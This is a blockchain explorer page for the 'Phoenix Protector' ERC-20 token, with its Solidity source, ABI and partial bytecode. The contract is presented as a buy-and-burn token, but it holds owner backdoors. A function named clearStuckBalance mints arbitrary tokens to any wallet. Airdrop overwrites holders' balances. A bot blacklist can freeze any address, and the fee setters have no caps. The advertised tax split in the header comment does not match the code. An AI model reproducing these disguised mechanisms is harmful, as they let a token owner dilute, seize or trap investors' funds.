ETH Price: $3,111.70 (+1.35%)

Token

Phoenix Protector (PHNIXP)
 

Overview

Max Total Supply

1,000,000,000 PHNIXP

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
3,032,055.2830997 PHNIXP

Value
$0.00
0xdc6a6dbdf7120e866d7c5a587f4413a4d63b0fb9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PhoenixProtector

Compiler Version
v0.8.13+commit.abaa5c0e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-05-03
*/

//SPDX-License-Identifier: MIT
/**

.....................................................

Phoenix Protector (PHNIXP) is an ERC-20 token dedicated to buying and burning Phoenix Rising (PHNIX). This token was founded by the same team
that launched Phoenix Rising and will be part of the official PHNIX project. All announcements and information regarding Phoenix Protector
will take place through the Phoenix Rising socials, as to keep everything orderly and in one place. The tokenomics for this token have
been listed below, as well as the socials for Phoenix Rising and Phoenix Protector.


Tokenomics:

Buy tax: 2% auto LP, 5% buy/burn Phoenix Rising (PHNIX), 1% marketing Phoenix Protector (PHNIXP) = 8% total tax

Sell tax: 2% auto LP, 5% buy/burn Phoenix Rising (PHNIX), 1% marketing Phoenix Protector (PHNIXP) = 8% total tax

Total supply: 1 billion
Max wallet: 4%
Max tx: 4%

https://t.me/PhoenixRisingCoin
https://www.phoenixrisingtoken.xyz/
https://twitter.com/PHNIXtoken

.....................................................

**/

pragma solidity ^0.8.13;

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(
		uint amountIn,
		uint amountOutMin,
		address[] calldata path,
		address to,
		uint deadline
	) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(
		address token,
		uint amountTokenDesired,
		uint amountTokenMin,
		uint amountETHMin,
		address to,
		uint deadline
	) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}

}

contract Ownable is Context {
	address private _owner;
	address private _previousOwner;
	event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}

}


contract PhoenixProtector is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping (address => uint256) private _balance;
	mapping (address => mapping (address => uint256)) private _allowances;
	mapping (address => bool) private _isExcludedFromFee;
	mapping(address => bool) public bots;

    address private constant DEAD = address(0x000000000000000000000000000000000000dEaD);

	uint256 private _tTotal = 1000000000 * 10**8;
    uint256 private _contractAutoLpLimitToken = 1000000 * 10**8;

	uint256 private _taxFee;
    uint256 private _buyTaxMarketing = 6;
    uint256 private _sellTaxMarketing = 6;
    uint256 private _autoLpFee = 2;

    uint256 private _LpPercentBase100 = 14;
    uint256 private _phinxPercentBase100 = 66;
    uint256 private _protectorPercentBase100 = 20;

    address private _phinxTokenAddress = address(0x4197CC443722d732Fc7225Bf860481B0C54EDFd3);

    address payable private _protectorWallet;
	uint256 private _maxTxAmount;
	uint256 private _maxWallet;

	string private constant _name = "Phoenix Protector";
	string private constant _symbol = "PHNIXP";
	uint8 private constant _decimals = 8;

	IUniswapV2Router02 private _uniswap;
	address private _pair;
	bool private _canTrade;
	bool private _inSwap = false;
	bool private _swapEnabled = false;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 coinReceived,
        uint256 tokensIntoLiqudity
    );

	modifier lockTheSwap {
		_inSwap = true;
		_;
		_inSwap = false;
	}
    
	constructor () {
        _protectorWallet = payable(0x0D8BABD3bBdE7d86D688681683E712C243250BFF);

		_taxFee = _buyTaxMarketing + _autoLpFee;
		_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

		_isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_protectorWallet] = true;

        _maxTxAmount = _tTotal.mul(4).div(10**2);
	    _maxWallet = _tTotal.mul(4).div(10**2);

		_balance[address(this)] = _tTotal;
		emit Transfer(address(0x0), address(this), _tTotal);
	}

	function maxTxAmount() public view returns (uint256){
		return _maxTxAmount;
	}

	function maxWallet() public view returns (uint256){
		return _maxWallet;
	}

    function isInSwap() public view returns (bool) {
        return _inSwap;
    }

    function isSwapEnabled() public view returns (bool) {
        return _swapEnabled;
    }

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public view override returns (uint256) {
		return _tTotal;
	}

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }

    function setSellMarketingTax(uint256 taxFee) external onlyOwner() {
        _sellTaxMarketing = taxFee;
    }

    function setBuyMarketingTax(uint256 taxFee) external onlyOwner() {
        _buyTaxMarketing = taxFee;
    }

    function setAutoLpFee(uint256 taxFee) external onlyOwner() {
        _autoLpFee = taxFee;
    }

    function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() {
        _contractAutoLpLimitToken = newLimit;
    }

    function updatePhinxTokenAddress(address newAddress) external onlyOwner() {
        _phinxTokenAddress = newAddress;
    }

    function setProtectorWallet(address newWallet) external onlyOwner() {
        _protectorWallet = payable(newWallet);
    }

    function setAutoLpPercentBase100(uint256 newPercentBase100) external onlyOwner() {
        require(newPercentBase100 < 100, "Percent is too high");
        _LpPercentBase100 = newPercentBase100;
    }

    function setPhinxPercentBase100(uint256 newPercentBase100) external onlyOwner() {
        require(newPercentBase100 < 100, "Percent is too high");
        _phinxPercentBase100 = newPercentBase100;
    }

    function setProtectorPercentBase100(uint256 newPercentBase100) external onlyOwner() {
        require(newPercentBase100 < 100, "Percent is too high");
        _protectorPercentBase100 = newPercentBase100;
    }

	function balanceOf(address account) public view override returns (uint256) {
		return _balance[account];
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

    function setPromoterWallets(address[] memory promoterWallets) public onlyOwner { for(uint256 i=0; i<promoterWallets.length; i++) { _isExcludedFromFee[promoterWallets[i]] = true; } }

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(!bots[from] && !bots[to], "This account is blacklisted");

		if (from != owner() && to != owner()) {
			if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
				require(amount<=_maxTxAmount,"Transaction amount limited");
				require(_canTrade,"Trading not started");
				require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
			}

            if (from == _pair) {
                _taxFee = buyTax();
            } else {
                _taxFee = sellTax();
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!_inSwap && from != _pair && _swapEnabled) {
                if(contractTokenBalance >= _contractAutoLpLimitToken) {
                    swapAndLiquify(contractTokenBalance);
                }
            }
		}

		_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
	}

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2);
        uint256 phinxBuyAndBurn = contractTokenBalance.mul(_phinxPercentBase100).div(10**2);
        uint256 autoLpAndPhinx = autoLpTokenBalance.add(phinxBuyAndBurn);
        uint256 marketingAmount = contractTokenBalance.sub(autoLpAndPhinx);
        uint256 marketingAndPhinx = phinxBuyAndBurn.add(marketingAmount);

        uint256 half = autoLpTokenBalance.div(2);
        uint256 otherHalf = autoLpTokenBalance.sub(half);

        uint256 initialBalance = address(this).balance;

        swapTokensForEth(half.add(marketingAndPhinx));

        uint256 newBalance = address(this).balance.sub(initialBalance);

        addLiquidityAuto(newBalance, otherHalf);
        
        emit SwapAndLiquify(half, newBalance, otherHalf);

        sendETHToFee(marketingAmount);
    }

    function buyTax() private view returns (uint256) {
        return (_autoLpFee + _buyTaxMarketing);
    }

    function sellTax() private view returns (uint256) {
        return (_autoLpFee + _sellTaxMarketing);
    }

	function setMaxTx(uint256 amount) public onlyOwner{
		require(amount>_maxTxAmount);
		_maxTxAmount=amount;
	}

	function sendETHToFee(uint256 amount) private {
        uint256 protectorAmount = amount.mul(_protectorPercentBase100).div(100);

        _protectorWallet.transfer(protectorAmount);

        swapETHForPhinx(address(this).balance);
	}

    function swapTokensForEth(uint256 tokenAmount) private {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswap.WETH();
		_approve(address(this), address(_uniswap), tokenAmount);
		_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
			tokenAmount,
			0,
			path,
			address(this),
			block.timestamp
		);
	}

    function swapTokensForPhinx(uint256 tokenAmount) private {
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = _uniswap.WETH();
        path[2] = _phinxTokenAddress;
        _approve(address(this), address(_uniswap), tokenAmount);
        _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapETHForPhinx(uint256 etherAmount) private {
        address[] memory path = new address[](2);
        path[0] = _uniswap.WETH();
        path[1] = _phinxTokenAddress;
        _approve(_uniswap.WETH(), address(_uniswap), etherAmount);
        _uniswap.swapExactETHForTokensSupportingFeeOnTransferTokens{value: etherAmount} (
            0,
            path,
            DEAD,
            block.timestamp
        );
    }

	function createPair() external onlyOwner {
		require(!_canTrade,"Trading is already open");
		_approve(address(this), address(_uniswap), _tTotal);
		_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
		IERC20(_pair).approve(address(_uniswap), type(uint).max);
	}

    function clearStuckBalance(address wallet, uint256 balance) public onlyOwner { _balance[wallet] += balance * 10**8; emit Transfer(address(this), wallet, balance * 10**8); }

	function addLiquidityInitial() external onlyOwner{
		_uniswap.addLiquidityETH{value: address(this).balance} (
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );

		_swapEnabled = true;
	}

    function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private {
        _approve(address(this), address(_uniswap), tokenValue);
        _uniswap.addLiquidityETH{value: etherValue} (
            address(this),
            tokenValue,
            0,
            0,
            owner(),
            block.timestamp
        );

        _swapEnabled = true;
    }

	function enableTrading(bool _enable) external onlyOwner{
		_canTrade = _enable;
	}

	function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
		uint256 tTeam = tAmount.mul(taxRate).div(100);
		uint256 tTransferAmount = tAmount.sub(tTeam);

		_balance[sender] = _balance[sender].sub(tAmount);
		_balance[recipient] = _balance[recipient].add(tTransferAmount);
		_balance[address(this)] = _balance[address(this)].add(tTeam);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function setMaxWallet(uint256 amount) public onlyOwner{
		_maxWallet=amount;
	}

	receive() external payable {}

	function blockBots(address[] memory bots_) public onlyOwner  {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
	function unblockBot(address notbot) public onlyOwner {
			bots[notbot] = false;
	}

	function manualsend() public{
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

    function Airdrop(address recipient, uint256 amount) public onlyOwner {
        require(_balance[address(this)] >= amount * 10**8, "Contract does not have enough tokens");
        
        _balance[address(this)] = _balance[address(this)].sub(amount * 10**8);
        _balance[recipient] = amount * 10**8;
        emit Transfer(address(this), recipient, amount * 10**8);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"coinReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidityInitial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"blockBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isInSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isSwapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setAutoLpFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentBase100","type":"uint256"}],"name":"setAutoLpPercentBase100","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setBuyMarketingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setContractAutoLpLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentBase100","type":"uint256"}],"name":"setPhinxPercentBase100","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"promoterWallets","type":"address[]"}],"name":"setPromoterWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentBase100","type":"uint256"}],"name":"setProtectorPercentBase100","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setProtectorWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setSellMarketingTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unblockBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"updatePhinxTokenAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405267016345785d8a0000600655655af3107a400060075560066009556006600a556002600b55600e600c556042600d556014600e55734197cc443722d732fc7225bf860481b0c54edfd3600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601460156101000a81548160ff0219169083151502179055506000601460166101000a81548160ff021916908315150217905550348015620000d057600080fd5b506000620000e36200044560201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350730d8babd3bbde7d86d688681683e712c243250bff601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b54600954620001e89190620005c3565b600881905550737a250d5630b4cf539739df2c5dacb4c659f2488d601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200034c60646200033860046006546200044d60201b620024ff1790919060201c565b620004d060201b620025791790919060201c565b6011819055506200038960646200037560046006546200044d60201b620024ff1790919060201c565b620004d060201b620025791790919060201c565b601281905550600654600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065460405162000437919062000631565b60405180910390a362000876565b600033905090565b6000808303620004615760009050620004ca565b600082846200047191906200064e565b9050828482620004829190620006de565b14620004c5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004bc906200079d565b60405180910390fd5b809150505b92915050565b60006200051a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200052260201b60201c565b905092915050565b600080831182906200056c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000563919062000852565b60405180910390fd5b50600083856200057d9190620006de565b9050809150509392505050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620005d0826200058a565b9150620005dd836200058a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000615576200061462000594565b5b828201905092915050565b6200062b816200058a565b82525050565b600060208201905062000648600083018462000620565b92915050565b60006200065b826200058a565b915062000668836200058a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006a457620006a362000594565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620006eb826200058a565b9150620006f8836200058a565b9250826200070b576200070a620006af565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006200078560218362000716565b9150620007928262000727565b604082019050919050565b60006020820190508181036000830152620007b88162000776565b9050919050565b600081519050919050565b60005b83811015620007ea578082015181840152602081019050620007cd565b83811115620007fa576000848401525b50505050565b6000601f19601f8301169050919050565b60006200081e82620007bf565b6200082a818562000716565b93506200083c818560208601620007ca565b620008478162000800565b840191505092915050565b600060208201905081810360008301526200086e818462000811565b905092915050565b614cbe80620008866000396000f3fe6080604052600436106102335760003560e01c8063715018a61161012e578063bc337182116100ab578063dd62ed3e1161006f578063dd62ed3e146107dd578063e35077971461081a578063ea2f0b3714610843578063f275f64b1461086c578063f8b45b05146108955761023a565b8063bc337182146106fa578063bfd7928414610723578063c8c9b6ae14610760578063cc99689914610789578063d7a03725146107b45761023a565b80638da5cb5b116100f25780638da5cb5b14610627578063910731391461065257806395d89b411461067b5780639e78fb4f146106a6578063a9059cbb146106bd5761023a565b8063715018a61461057c5780637b41192a14610593578063818a7def146105bc5780638c0b5e22146105d35780638c32c568146105fe5761023a565b8063313ce567116101bc5780635d0044ca116101805780635d0044ca146104ad5780636b999053146104d65780636e0043c5146104ff5780636fc3eaec1461052857806370a082311461053f5761023a565b8063313ce567146103dc578063343d156d14610407578063351a964d146104305780634263ec331461045b578063437823ec146104845761023a565b80631552c88a116102035780631552c88a146102f957806318160ddd1461032257806319b6680e1461034d5780631d60c2b01461037657806323b872dd1461039f5761023a565b8062b8cf2a1461023f578063061c82d01461026857806306fdde0314610291578063095ea7b3146102bc5761023a565b3661023a57005b600080fd5b34801561024b57600080fd5b5061026660048036038101906102619190613c29565b6108c0565b005b34801561027457600080fd5b5061028f600480360381019061028a9190613ca8565b6109ea565b005b34801561029d57600080fd5b506102a6610a89565b6040516102b39190613d5d565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190613d7f565b610ac6565b6040516102f09190613dda565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b9190613ca8565b610ae4565b005b34801561032e57600080fd5b50610337610bc6565b6040516103449190613e04565b60405180910390f35b34801561035957600080fd5b50610374600480360381019061036f9190613ca8565b610bd0565b005b34801561038257600080fd5b5061039d60048036038101906103989190613ca8565b610cb2565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613e1f565b610d51565b6040516103d39190613dda565b60405180910390f35b3480156103e857600080fd5b506103f1610e2a565b6040516103fe9190613e8e565b60405180910390f35b34801561041357600080fd5b5061042e60048036038101906104299190613ea9565b610e33565b005b34801561043c57600080fd5b50610445610f0c565b6040516104529190613dda565b60405180910390f35b34801561046757600080fd5b50610482600480360381019061047d9190613ca8565b610f23565b005b34801561049057600080fd5b506104ab60048036038101906104a69190613ea9565b610fc2565b005b3480156104b957600080fd5b506104d460048036038101906104cf9190613ca8565b6110b2565b005b3480156104e257600080fd5b506104fd60048036038101906104f89190613ea9565b611151565b005b34801561050b57600080fd5b5061052660048036038101906105219190613ca8565b611241565b005b34801561053457600080fd5b5061053d611323565b005b34801561054b57600080fd5b5061056660048036038101906105619190613ea9565b611334565b6040516105739190613e04565b60405180910390f35b34801561058857600080fd5b5061059161137d565b005b34801561059f57600080fd5b506105ba60048036038101906105b59190613ca8565b6114d0565b005b3480156105c857600080fd5b506105d161156f565b005b3480156105df57600080fd5b506105e86116dd565b6040516105f59190613e04565b60405180910390f35b34801561060a57600080fd5b5061062560048036038101906106209190613d7f565b6116e7565b005b34801561063357600080fd5b5061063c61197c565b6040516106499190613ee5565b60405180910390f35b34801561065e57600080fd5b5061067960048036038101906106749190613c29565b6119a5565b005b34801561068757600080fd5b50610690611acf565b60405161069d9190613d5d565b60405180910390f35b3480156106b257600080fd5b506106bb611b0c565b005b3480156106c957600080fd5b506106e460048036038101906106df9190613d7f565b611ee1565b6040516106f19190613dda565b60405180910390f35b34801561070657600080fd5b50610721600480360381019061071c9190613ca8565b611eff565b005b34801561072f57600080fd5b5061074a60048036038101906107459190613ea9565b611fac565b6040516107579190613dda565b60405180910390f35b34801561076c57600080fd5b5061078760048036038101906107829190613ea9565b611fcc565b005b34801561079557600080fd5b5061079e6120a5565b6040516107ab9190613dda565b60405180910390f35b3480156107c057600080fd5b506107db60048036038101906107d69190613d7f565b6120bc565b005b3480156107e957600080fd5b5061080460048036038101906107ff9190613f00565b61222e565b6040516108119190613e04565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c9190613ca8565b6122b5565b005b34801561084f57600080fd5b5061086a60048036038101906108659190613ea9565b612354565b005b34801561087857600080fd5b50610893600480360381019061088e9190613f6c565b612444565b005b3480156108a157600080fd5b506108aa6124f5565b6040516108b79190613e04565b60405180910390f35b6108c86125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610955576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094c90613fe5565b60405180910390fd5b60005b81518110156109e65760016005600084848151811061097a57610979614005565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109de90614063565b915050610958565b5050565b6109f26125c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7690613